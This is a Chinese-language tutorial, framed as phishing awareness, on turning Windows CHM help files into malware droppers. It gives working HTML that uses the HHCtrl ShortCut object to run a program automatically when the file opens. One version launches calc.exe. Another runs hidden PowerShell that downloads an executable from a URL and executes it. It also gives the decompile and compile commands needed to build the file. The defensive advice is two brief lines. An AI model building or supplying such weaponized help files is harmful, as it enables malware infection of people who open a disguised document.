“钓鱼”是一种网络欺诈行为,指不法分子利用各种手段,仿冒常见格式的文件或网页链接,诱骗用户运行或点击后,在背后执行危险代码,以此来骗取用户各种信息,或窃取用户电脑私人资料的行为。
windows下常用的“钓鱼”方式很多,以下解析利用帮助文档(chm文件格式)捆绑钓鱼的方式,以防范于未然。
1. CHM格式是什么
CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软老式帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。
- 利用CHM钓鱼主要原因是因为该文档可以执行脚本命令。
2. CHM文件的解析
Windows操作系统自带hh命令可以用来解析chm文件,我们默认可以直接打开chm后缀的文件,就是系统下%windir%\hh.exe
这个文件进行的解析。
我们可以在命令行下运行 hh -decompile D:\1\ D:\test.chm
把D盘根目录的test.chm文件反编译出原始文件并保存在D:\1 目录下。hh反编译chm的格式如下:
> hh.exe -decompile 生成原始文件的路径 目标chm文件路径
3. CHM文件的生成
chm文件需要用第三方软件来制作,可用的工具有PowerCHM、EasyCHM等。
制作方式:
- 新建目录,用于存放要做成chm文件的所有资料,比如视频、音频、图片、html文件等。

- 打开制作工具(PowerCHM),菜单中选择”新建“,然后选择之前创建的目录。

- 选择“文件”菜单中“编译指定工程”,然后配置各个选项点击“生成”即可得到创建的CHM文件。

需要注意的是,项目目录中至少要有一个html格式的文件。
如果我们把index.html中的内容如下编写:
<!DOCTYPE html>
<html>
<head>
<title>zijieke.com</title>
</head>
<body>
This is a test demo!
<bgsound src="bg.mp3">
<OBJECT id="x" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Item1" value=",calc.exe">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>
当我们运行编译生成chm文件后,会发现自动弹出了计算器窗口。这就是chm捆绑钓鱼的起点。

4. CHM格式解析
之所以让chm文件执行了其他程序,是因为chm文件中shortcut命令的使用。在<OBJECT>对象中设置一个<PARAM name="Command" value="ShortCut">
的属性,表示允许使用快捷键启动其他程序。基本格式为:
<PARAM name="Command" value="ShortCut">
<PARAM name="Item1" value=",ExePath,Param'>
<PARAM name="Item2" value="MsgID,wParam,lParam'>
- Item1的ExePath表示要执行文件的绝对路径或相对路径,Param表示执行文件的传入参数。
- Item2的MsgID表示传入的Windows消息ID,wParam和lParam分别为消息的两个参数。
5. 其他扩展应用
利用chm中可以执行外部程序的机制,可以实现很多其他功能,比如一下代码,就实现了利用powershell从远程下载程序到本地并执行:
<!DOCTYPE html>
<html>
<head>
<title>zijieke.com</title>
</head>
<body>
This is a test demo!
<OBJECT id="x" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX (new-object net.webclient).DownloadFile('http://127.0.0.1/1.exe','.\1.exe');&cmd /c .\1.exe">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>
命令行生成chm文件:首先用EasyCHM编译一次源文件,获得HHC、HHK、HHP文件后,将这三者和html文件以及其他需要的附件统一放到一个目录下,然后用HHC工具执行命令行即可获得编译的CHM文件。
> hhc.exe myfile.hhp
HHC工具下载:
# CHM钓鱼攻击防范
- 安装杀软 😂
- 避免随意打开来路不明的chm文件
参考资料: